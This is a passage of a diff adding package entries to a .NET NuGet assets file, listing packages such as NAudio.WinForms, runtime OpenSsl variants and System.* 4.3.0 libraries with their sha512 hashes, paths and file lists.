"NAudio.WinForms/2.2.1": { + "sha512": "DlDkewY1myY0A+3NrYRJD+MZhZV0yy1mNF6dckB27IQ9XCs/My5Ip8BZcoSHOsaPSe2GAjvoaDnk6N9w8xTv7w==", + "type": "package", + "path": "naudio.winforms/2.2.1", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "lib/net472/NAudio.WinForms.dll", + "lib/net472/NAudio.WinForms.xml", + "lib/netcoreapp3.1/NAudio.WinForms.dll", + "lib/netcoreapp3.1/NAudio.WinForms.xml", + "naudio-icon.png", + "naudio.winforms.2.2.1.nupkg.sha512", + "naudio.winforms.nuspec" + ] + }, + "NAudio.WinMM/2.2.1": { + "sha512": "xFHRFwH4x6aq3IxRbewvO33ugJRvZFEOfO62i7uQJRUNW2cnu6BeBTHUS0JD5KBucZbHZaYqxQG8dwZ47ezQuQ==", + "type": "package", + "path": "naudio.winmm/2.2.1", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "lib/netstandard2.0/NAudio.WinMM.dll", + "lib/netstandard2.0/NAudio.WinMM.xml", + "naudio-icon.png", + "naudio.winmm.2.2.1.nupkg.sha512", + "naudio.winmm.nuspec" + ] + }, + "NETStandard.Library/1.6.1": { + "sha512": "WcSp3+vP+yHNgS8EV5J7pZ9IRpeDuARBPN28by8zqff1wJQXm26PVU8L3/fYLBJVU7BtDyqNVWq2KlCVvSSR4A==", + "type": "package", + "path": "netstandard.library/1.6.1", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "netstandard.library.1.6.1.nupkg.sha512", + "netstandard.library.nuspec" + ] + }, + "runtime.debian.8-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "sha512": "HdSSp5MnJSsg08KMfZThpuLPJpPwE5hBXvHwoKWosyHHfe8Mh5WKT0ylEOf6yNzX6Ngjxe4Whkafh5q7Ymac4Q==", + "type": "package", + "path": "runtime.debian.8-x64.runtime.native.system.security.cryptography.openssl/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "runtime.debian.8-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512", + "runtime.debian.8-x64.runtime.native.system.security.cryptography.openssl.nuspec", + "runtimes/debian.8-x64/native/System.Security.Cryptography.Native.OpenSsl.so" + ] + }, + "runtime.fedora.23-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "sha512": "+yH1a49wJMy8Zt4yx5RhJrxO/DBDByAiCzNwiETI+1S4mPdCu0OY4djdciC7Vssk0l22wQaDLrXxXkp+3+7bVA==", + "type": "package", + "path": "runtime.fedora.23-x64.runtime.native.system.security.cryptography.openssl/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "runtime.fedora.23-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512", + "runtime.fedora.23-x64.runtime.native.system.security.cryptography.openssl.nuspec", + "runtimes/fedora.23-x64/native/System.Security.Cryptography.Native.OpenSsl.so" + ] + }, + "runtime.fedora.24-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "sha512": "c3YNH1GQJbfIPJeCnr4avseugSqPrxwIqzthYyZDN6EuOyNOzq+y2KSUfRcXauya1sF4foESTgwM5e1A8arAKw==", + "type": "package", + "path": "runtime.fedora.24-x64.runtime.native.system.security.cryptography.openssl/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "runtime.fedora.24-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512", + "runtime.fedora.24-x64.runtime.native.system.security.cryptography.openssl.nuspec", + "runtimes/fedora.24-x64/native/System.Security.Cryptography.Native.OpenSsl.so" + ] + }, + "runtime.native.System/4.3.0": { + "sha512": "c/qWt2LieNZIj1jGnVNsE2Kl23Ya2aSTBuXMD6V7k9KWr6l16Tqdwq+hJScEpWER9753NWC8h96PaVNY5Ld7Jw==", + "type": "package", + "path": "runtime.native.system/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/netstandard1.0/_._", + "runtime.native.system.4.3.0.nupkg.sha512", + "runtime.native.system.nuspec" + ] + }, + "runtime.native.System.IO.Compression/4.3.0": { + "sha512": "INBPonS5QPEgn7naufQFXJEp3zX6L4bwHgJ/ZH78aBTpeNfQMtf7C6VrAFhlq2xxWBveIOWyFzQjJ8XzHMhdOQ==", + "type": "package", + "path": "runtime.native.system.io.compression/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/netstandard1.0/_._", + "runtime.native.system.io.compression.4.3.0.nupkg.sha512", + "runtime.native.system.io.compression.nuspec" + ] + }, + "runtime.native.System.Net.Http/4.3.0": { + "sha512": "ZVuZJqnnegJhd2k/PtAbbIcZ3aZeITq3sj06oKfMBSfphW3HDmk/t4ObvbOk/JA/swGR0LNqMksAh/f7gpTROg==", + "type": "package", + "path": "runtime.native.system.net.http/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/netstandard1.0/_._", + "runtime.native.system.net.http.4.3.0.nupkg.sha512", + "runtime.native.system.net.http.nuspec" + ] + }, + "runtime.native.System.Security.Cryptography.Apple/4.3.0": { + "sha512": "DloMk88juo0OuOWr56QG7MNchmafTLYWvABy36izkrLI5VledI0rq28KGs1i9wbpeT9NPQrx/wTf8U2vazqQ3Q==", + "type": "package", + "path": "runtime.native.system.security.cryptography.apple/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/netstandard1.0/_._", + "runtime.native.system.security.cryptography.apple.4.3.0.nupkg.sha512", + "runtime.native.system.security.cryptography.apple.nuspec" + ] + }, + "runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "sha512": "NS1U+700m4KFRHR5o4vo9DSlTmlCKu/u7dtE5sUHVIPB+xpXxYQvgBgA6wEIeCz6Yfn0Z52/72WYsToCEPJnrw==", + "type": "package", + "path": "runtime.native.system.security.cryptography.openssl/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/netstandard1.0/_._", + "runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512", + "runtime.native.system.security.cryptography.openssl.nuspec" + ] + }, + "runtime.opensuse.13.2-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "sha512": "b3pthNgxxFcD+Pc0WSEoC0+md3MyhRS6aCEeenvNE3Fdw1HyJ18ZhRFVJJzIeR/O/jpxPboB805Ho0T3Ul7w8A==", + "type": "package", + "path": "runtime.opensuse.13.2-x64.runtime.native.system.security.cryptography.openssl/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "runtime.opensuse.13.2-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512", + "runtime.opensuse.13.2-x64.runtime.native.system.security.cryptography.openssl.nuspec", + "runtimes/opensuse.13.2-x64/native/System.Security.Cryptography.Native.OpenSsl.so" + ] + }, + "runtime.opensuse.42.1-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "sha512": "KeLz4HClKf+nFS7p/6Fi/CqyLXh81FpiGzcmuS8DGi9lUqSnZ6Es23/gv2O+1XVGfrbNmviF7CckBpavkBoIFQ==", + "type": "package", + "path": "runtime.opensuse.42.1-x64.runtime.native.system.security.cryptography.openssl/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "runtime.opensuse.42.1-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512", + "runtime.opensuse.42.1-x64.runtime.native.system.security.cryptography.openssl.nuspec", + "runtimes/opensuse.42.1-x64/native/System.Security.Cryptography.Native.OpenSsl.so" + ] + }, + "runtime.osx.10.10-x64.runtime.native.System.Security.Cryptography.Apple/4.3.0": { + "sha512": "kVXCuMTrTlxq4XOOMAysuNwsXWpYeboGddNGpIgNSZmv1b6r/s/DPk0fYMB7Q5Qo4bY68o48jt4T4y5BVecbCQ==", + "type": "package", + "path": "runtime.osx.10.10-x64.runtime.native.system.security.cryptography.apple/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "runtime.osx.10.10-x64.runtime.native.system.security.cryptography.apple.4.3.0.nupkg.sha512", + "runtime.osx.10.10-x64.runtime.native.system.security.cryptography.apple.nuspec", + "runtimes/osx.10.10-x64/native/System.Security.Cryptography.Native.Apple.dylib" + ] + }, + "runtime.osx.10.10-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "sha512": "X7IdhILzr4ROXd8mI1BUCQMSHSQwelUlBjF1JyTKCjXaOGn2fB4EKBxQbCK2VjO3WaWIdlXZL3W6TiIVnrhX4g==", + "type": "package", + "path": "runtime.osx.10.10-x64.runtime.native.system.security.cryptography.openssl/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "runtime.osx.10.10-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512", + "runtime.osx.10.10-x64.runtime.native.system.security.cryptography.openssl.nuspec", + "runtimes/osx.10.10-x64/native/System.Security.Cryptography.Native.OpenSsl.dylib" + ] + }, + "runtime.rhel.7-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "sha512": "nyFNiCk/r+VOiIqreLix8yN+q3Wga9+SE8BCgkf+2BwEKiNx6DyvFjCgkfV743/grxv8jHJ8gUK4XEQw7yzRYg==", + "type": "package", + "path": "runtime.rhel.7-x64.runtime.native.system.security.cryptography.openssl/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "runtime.rhel.7-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512", + "runtime.rhel.7-x64.runtime.native.system.security.cryptography.openssl.nuspec", + "runtimes/rhel.7-x64/native/System.Security.Cryptography.Native.OpenSsl.so" + ] + }, + "runtime.ubuntu.14.04-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "sha512": "ytoewC6wGorL7KoCAvRfsgoJPJbNq+64k2SqW6JcOAebWsFUvCCYgfzQMrnpvPiEl4OrblUlhF2ji+Q1+SVLrQ==", + "type": "package", + "path": "runtime.ubuntu.14.04-x64.runtime.native.system.security.cryptography.openssl/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "runtime.ubuntu.14.04-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512", + "runtime.ubuntu.14.04-x64.runtime.native.system.security.cryptography.openssl.nuspec", + "runtimes/ubuntu.14.04-x64/native/System.Security.Cryptography.Native.OpenSsl.so" + ] + }, + "runtime.ubuntu.16.04-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "sha512": "I8bKw2I8k58Wx7fMKQJn2R8lamboCAiHfHeV/pS65ScKWMMI0+wJkLYlEKvgW1D/XvSl/221clBoR2q9QNNM7A==", + "type": "package", + "path": "runtime.ubuntu.16.04-x64.runtime.native.system.security.cryptography.openssl/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "runtime.ubuntu.16.04-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512", + "runtime.ubuntu.16.04-x64.runtime.native.system.security.cryptography.openssl.nuspec", + "runtimes/ubuntu.16.04-x64/native/System.Security.Cryptography.Native.OpenSsl.so" + ] + }, + "runtime.ubuntu.16.10-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "sha512": "VB5cn/7OzUfzdnC8tqAIMQciVLiq2epm2NrAm1E9OjNRyG4lVhfR61SMcLizejzQP8R8Uf/0l5qOIbUEi+RdEg==", + "type": "package", + "path": "runtime.ubuntu.16.10-x64.runtime.native.system.security.cryptography.openssl/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "runtime.ubuntu.16.10-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512", + "runtime.ubuntu.16.10-x64.runtime.native.system.security.cryptography.openssl.nuspec", + "runtimes/ubuntu.16.10-x64/native/System.Security.Cryptography.Native.OpenSsl.so" + ] + }, + "System.AppContext/4.3.0": { + "sha512": "fKC+rmaLfeIzUhagxY17Q9siv/sPrjjKcfNg1Ic8IlQkZLipo8ljcaZQu4VtI4Jqbzjc2VTjzGLF6WmsRXAEgA==", + "type": "package", + "path": "system.appcontext/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/System.AppContext.dll", + "lib/net463/System.AppContext.dll", + "lib/netcore50/System.AppContext.dll", + "lib/netstandard1.6/System.AppContext.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/System.AppContext.dll", + "ref/net463/System.AppContext.dll", + "ref/netstandard/_._", + "ref/netstandard1.3/System.AppContext.dll", + "ref/netstandard1.3/System.AppContext.xml", + "ref/netstandard1.3/de/System.AppContext.xml", + "ref/netstandard1.3/es/System.AppContext.xml", + "ref/netstandard1.3/fr/System.AppContext.xml", + "ref/netstandard1.3/it/System.AppContext.xml", + "ref/netstandard1.3/ja/System.AppContext.xml", + "ref/netstandard1.3/ko/System.AppContext.xml", + "ref/netstandard1.3/ru/System.AppContext.xml", + "ref/netstandard1.3/zh-hans/System.AppContext.xml", + "ref/netstandard1.3/zh-hant/System.AppContext.xml", + "ref/netstandard1.6/System.AppContext.dll", + "ref/netstandard1.6/System.AppContext.xml", + "ref/netstandard1.6/de/System.AppContext.xml", + "ref/netstandard1.6/es/System.AppContext.xml", + "ref/netstandard1.6/fr/System.AppContext.xml", + "ref/netstandard1.6/it/System.AppContext.xml", + "ref/netstandard1.6/ja/System.AppContext.xml", + "ref/netstandard1.6/ko/System.AppContext.xml", + "ref/netstandard1.6/ru/System.AppContext.xml", + "ref/netstandard1.6/zh-hans/System.AppContext.xml", + "ref/netstandard1.6/zh-hant/System.AppContext.xml", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "runtimes/aot/lib/netcore50/System.AppContext.dll", + "system.appcontext.4.3.0.nupkg.sha512", + "system.appcontext.nuspec" + ] + }, + "System.Buffers/4.3.0": { + "sha512": "ratu44uTIHgeBeI0dE8DWvmXVBSo4u7ozRZZHOMmK/JPpYyo0dAfgSiHlpiObMQ5lEtEyIXA40sKRYg5J6A8uQ==", + "type": "package", + "path": "system.buffers/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/netstandard1.1/.xml", + "lib/netstandard1.1/System.Buffers.dll", + "system.buffers.4.3.0.nupkg.sha512", + "system.buffers.nuspec" + ] + }, + "System.Collections/4.3.0": { + "sha512": "3Dcj85/TBdVpL5Zr+gEEBUuFe2icOnLalmEh9hfck1PTYbbyWuZgh4fmm2ysCLTrqLQw6t3TgTyJ+VLp+Qb+Lw==", + "type": "package", + "path": "system.collections/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Collections.dll", + "ref/netcore50/System.Collections.xml", + "ref/netcore50/de/System.Collections.xml", + "ref/netcore50/es/System.Collections.xml", + "ref/netcore50/fr/System.Collections.xml", + "ref/netcore50/it/System.Collections.xml", + "ref/netcore50/ja/System.Collections.xml", + "ref/netcore50/ko/System.Collections.xml", + "ref/netcore50/ru/System.Collections.xml", + "ref/netcore50/zh-hans/System.Collections.xml", + "ref/netcore50/zh-hant/System.Collections.xml", + "ref/netstandard1.0/System.Collections.dll", + "ref/netstandard1.0/System.Collections.xml", + "ref/netstandard1.0/de/System.Collections.xml", + "ref/netstandard1.0/es/System.Collections.xml", + "ref/netstandard1.0/fr/System.Collections.xml", + "ref/netstandard1.0/it/System.Collections.xml", + "ref/netstandard1.0/ja/System.Collections.xml", + "ref/netstandard1.0/ko/System.Collections.xml", + "ref/netstandard1.0/ru/System.Collections.xml", + "ref/netstandard1.0/zh-hans/System.Collections.xml", + "ref/netstandard1.0/zh-hant/System.Collections.xml", + "ref/netstandard1.3/System.Collections.dll", + "ref/netstandard1.3/System.Collections.xml", + "ref/netstandard1.3/de/System.Collections.xml", + "ref/netstandard1.3/es/System.Collections.xml", + "ref/netstandard1.3/fr/System.Collections.xml", + "ref/netstandard1.3/it/System.Collections.xml", + "ref/netstandard1.3/ja/System.Collections.xml", + "ref/netstandard1.3/ko/System.Collections.xml", + "ref/netstandard1.3/ru/System.Collections.xml", + "ref/netstandard1.3/zh-hans/System.Collections.xml", + "ref/netstandard1.3/zh-hant/System.Collections.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.collections.4.3.0.nupkg.sha512", + "system.collections.nuspec" + ] + }, + "System.Collections.Concurrent/4.3.0": { + "sha512": "ztl69Xp0Y/UXCL+3v3tEU+lIy+bvjKNUmopn1wep/a291pVPK7dxBd6T7WnlQqRog+d1a/hSsgRsmFnIBKTPLQ==", + "type": "package", + "path": "system.collections.concurrent/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/netcore50/System.Collections.Concurrent.dll", + "lib/netstandard1.3/System.Collections.Concurrent.dll", + "lib/portable-net45+win8+wpa81/_._", + "lib/win8/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Collections.Concurrent.dll", + "ref/netcore50/System.Collections.Concurrent.xml", + "ref/netcore50/de/System.Collections.Concurrent.xml", + "ref/netcore50/es/System.Collections.Concurrent.xml", + "ref/netcore50/fr/System.Collections.Concurrent.xml", + "ref/netcore50/it/System.Collections.Concurrent.xml", + "ref/netcore50/ja/System.Collections.Concurrent.xml", + "ref/netcore50/ko/System.Collections.Concurrent.xml", + "ref/netcore50/ru/System.Collections.Concurrent.xml", + "ref/netcore50/zh-hans/System.Collections.Concurrent.xml", + "ref/netcore50/zh-hant/System.Collections.Concurrent.xml", + "ref/netstandard1.1/System.Collections.Concurrent.dll", + "ref/netstandard1.1/System.Collections.Concurrent.xml", + "ref/netstandard1.1/de/System.Collections.Concurrent.xml", + "ref/netstandard1.1/es/System.Collections.Concurrent.xml", + "ref/netstandard1.1/fr/System.Collections.Concurrent.xml", + "ref/netstandard1.1/it/System.Collections.Concurrent.xml", + "ref/netstandard1.1/ja/System.Collections.Concurrent.xml", + "ref/netstandard1.1/ko/System.Collections.Concurrent.xml", + "ref/netstandard1.1/ru/System.Collections.Concurrent.xml", + "ref/netstandard1.1/zh-hans/System.Collections.Concurrent.xml", + "ref/netstandard1.1/zh-hant/System.Collections.Concurrent.xml", + "ref/netstandard1.3/System.Collections.Concurrent.dll", + "ref/netstandard1.3/System.Collections.Concurrent.xml", + "ref/netstandard1.3/de/System.Collections.Concurrent.xml", + "ref/netstandard1.3/es/System.Collections.Concurrent.xml", + "ref/netstandard1.3/fr/System.Collections.Concurrent.xml", + "ref/netstandard1.3/it/System.Collections.Concurrent.xml", + "ref/netstandard1.3/ja/System.Collections.Concurrent.xml", + "ref/netstandard1.3/ko/System.Collections.Concurrent.xml", + "ref/netstandard1.3/ru/System.Collections.Concurrent.xml", + "ref/netstandard1.3/zh-hans/System.Collections.Concurrent.xml", + "ref/netstandard1.3/zh-hant/System.Collections.Concurrent.xml", + "ref/portable-net45+win8+wpa81/_._", + "ref/win8/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.collections.concurrent.4.3.0.nupkg.sha512", + "system.collections.concurrent.nuspec" + ] + }, + "System.Console/4.3.0": { + "sha512": "DHDrIxiqk1h03m6khKWV2X8p/uvN79rgSqpilL6uzpmSfxfU5ng8VcPtW4qsDsQDHiTv6IPV9TmD5M/vElPNLg==", + "type": "package", + "path": "system.console/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/System.Console.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/System.Console.dll", + "ref/netstandard1.3/System.Console.dll", + "ref/netstandard1.3/System.Console.xml", + "ref/netstandard1.3/de/System.Console.xml", + "ref/netstandard1.3/es/System.Console.xml", + "ref/netstandard1.3/fr/System.Console.xml", + "ref/netstandard1.3/it/System.Console.xml", + "ref/netstandard1.3/ja/System.Console.xml", + "ref/netstandard1.3/ko/System.Console.xml", + "ref/netstandard1.3/ru/System.Console.xml", + "ref/netstandard1.3/zh-hans/System.Console.xml", + "ref/netstandard1.3/zh-hant/System.Console.xml", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.console.4.3.0.nupkg.sha512", + "system.console.nuspec" + ] + }, + "System.Diagnostics.Debug/4.3.0": { + "sha512": "ZUhUOdqmaG5Jk3Xdb8xi5kIyQYAA4PnTNlHx1mu9ZY3qv4ELIdKbnL/akbGaKi2RnNUWaZsAs31rvzFdewTj2g==", + "type": "package", + "path": "system.diagnostics.debug/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Diagnostics.Debug.dll", + "ref/netcore50/System.Diagnostics.Debug.xml", + "ref/netcore50/de/System.Diagnostics.Debug.xml", + "ref/netcore50/es/System.Diagnostics.Debug.xml", + "ref/netcore50/fr/System.Diagnostics.Debug.xml", + "ref/netcore50/it/System.Diagnostics.Debug.xml", + "ref/netcore50/ja/System.Diagnostics.Debug.xml", + "ref/netcore50/ko/System.Diagnostics.Debug.xml", + "ref/netcore50/ru/System.Diagnostics.Debug.xml", + "ref/netcore50/zh-hans/System.Diagnostics.Debug.xml", + "ref/netcore50/zh-hant/System.Diagnostics.Debug.xml", + "ref/netstandard1.0/System.Diagnostics.Debug.dll", + "ref/netstandard1.0/System.Diagnostics.Debug.xml", + "ref/netstandard1.0/de/System.Diagnostics.Debug.xml", + "ref/netstandard1.0/es/System.Diagnostics.Debug.xml", + "ref/netstandard1.0/fr/System.Diagnostics.Debug.xml", + "ref/netstandard1.0/it/System.Diagnostics.Debug.xml", + "ref/netstandard1.0/ja/System.Diagnostics.Debug.xml", + "ref/netstandard1.0/ko/System.Diagnostics.Debug.xml", + "ref/netstandard1.0/ru/System.Diagnostics.Debug.xml", + "ref/netstandard1.0/zh-hans/System.Diagnostics.Debug.xml", + "ref/netstandard1.0/zh-hant/System.Diagnostics.Debug.xml", + "ref/netstandard1.3/System.Diagnostics.Debug.dll", + "ref/netstandard1.3/System.Diagnostics.Debug.xml", + "ref/netstandard1.3/de/System.Diagnostics.Debug.xml", + "ref/netstandard1.3/es/System.Diagnostics.Debug.xml", + "ref/netstandard1.3/fr/System.Diagnostics.Debug.xml", + "ref/netstandard1.3/it/System.Diagnostics.Debug.xml", + "ref/netstandard1.3/ja/System.Diagnostics.Debug.xml", + "ref/netstandard1.3/ko/System.Diagnostics.Debug.xml", + "ref/netstandard1.3/ru/System.Diagnostics.Debug.xml", + "ref/netstandard1.3/zh-hans/System.Diagnostics.Debug.xml", + "ref/netstandard1.3/zh-hant/System.Diagnostics.Debug.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.diagnostics.debug.4.3.0.nupkg.sha512", + "system.diagnostics.debug.nuspec" + ] + }, + "System.Diagnostics.DiagnosticSource/4.3.0": { + "sha512": "tD6kosZnTAGdrEa0tZSuFyunMbt/5KYDnHdndJYGqZoNy00XVXyACd5d6KnE1YgYv3ne2CjtAfNXo/fwEhnKUA==", + "type": "package", + "path": "system.diagnostics.diagnosticsource/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/net46/System.Diagnostics.DiagnosticSource.dll", + "lib/net46/System.Diagnostics.DiagnosticSource.xml", + "lib/netstandard1.1/System.Diagnostics.DiagnosticSource.dll", + "lib/netstandard1.1/System.Diagnostics.DiagnosticSource.xml", + "lib/netstandard1.3/System.Diagnostics.DiagnosticSource.dll", + "lib/netstandard1.3/System.Diagnostics.DiagnosticSource.xml", + "lib/portable-net45+win8+wpa81/System.Diagnostics.DiagnosticSource.dll", + "lib/portable-net45+win8+wpa81/System.Diagnostics.DiagnosticSource.xml", + "system.diagnostics.diagnosticsource.4.3.0.nupkg.sha512", + "system.diagnostics.diagnosticsource.nuspec" + ] + }, + "System.Diagnostics.Tools/4.3.0": { + "sha512": "UUvkJfSYJMM6x527dJg2VyWPSRqIVB0Z7dbjHst1zmwTXz5CcXSYJFWRpuigfbO1Lf7yfZiIaEUesfnl/g5EyA==", + "type": "package", + "path": "system.diagnostics.tools/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Diagnostics.Tools.dll", + "ref/netcore50/System.Diagnostics.Tools.xml", + "ref/netcore50/de/System.Diagnostics.Tools.xml", + "ref/netcore50/es/System.Diagnostics.Tools.xml", + "ref/netcore50/fr/System.Diagnostics.Tools.xml", + "ref/netcore50/it/System.Diagnostics.Tools.xml", + "ref/netcore50/ja/System.Diagnostics.Tools.xml", + "ref/netcore50/ko/System.Diagnostics.Tools.xml", + "ref/netcore50/ru/System.Diagnostics.Tools.xml", + "ref/netcore50/zh-hans/System.Diagnostics.Tools.xml", + "ref/netcore50/zh-hant/System.Diagnostics.Tools.xml", + "ref/netstandard1.0/System.Diagnostics.Tools.dll", + "ref/netstandard1.0/System.Diagnostics.Tools.xml", + "ref/netstandard1.0/de/System.Diagnostics.Tools.xml", + "ref/netstandard1.0/es/System.Diagnostics.Tools.xml", + "ref/netstandard1.0/fr/System.Diagnostics.Tools.xml", + "ref/netstandard1.0/it/System.Diagnostics.Tools.xml", + "ref/netstandard1.0/ja/System.Diagnostics.Tools.xml", + "ref/netstandard1.0/ko/System.Diagnostics.Tools.xml", + "ref/netstandard1.0/ru/System.Diagnostics.Tools.xml", + "ref/netstandard1.0/zh-hans/System.Diagnostics.Tools.xml", + "ref/netstandard1.0/zh-hant/System.Diagnostics.Tools.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.diagnostics.tools.4.3.0.nupkg.sha512", + 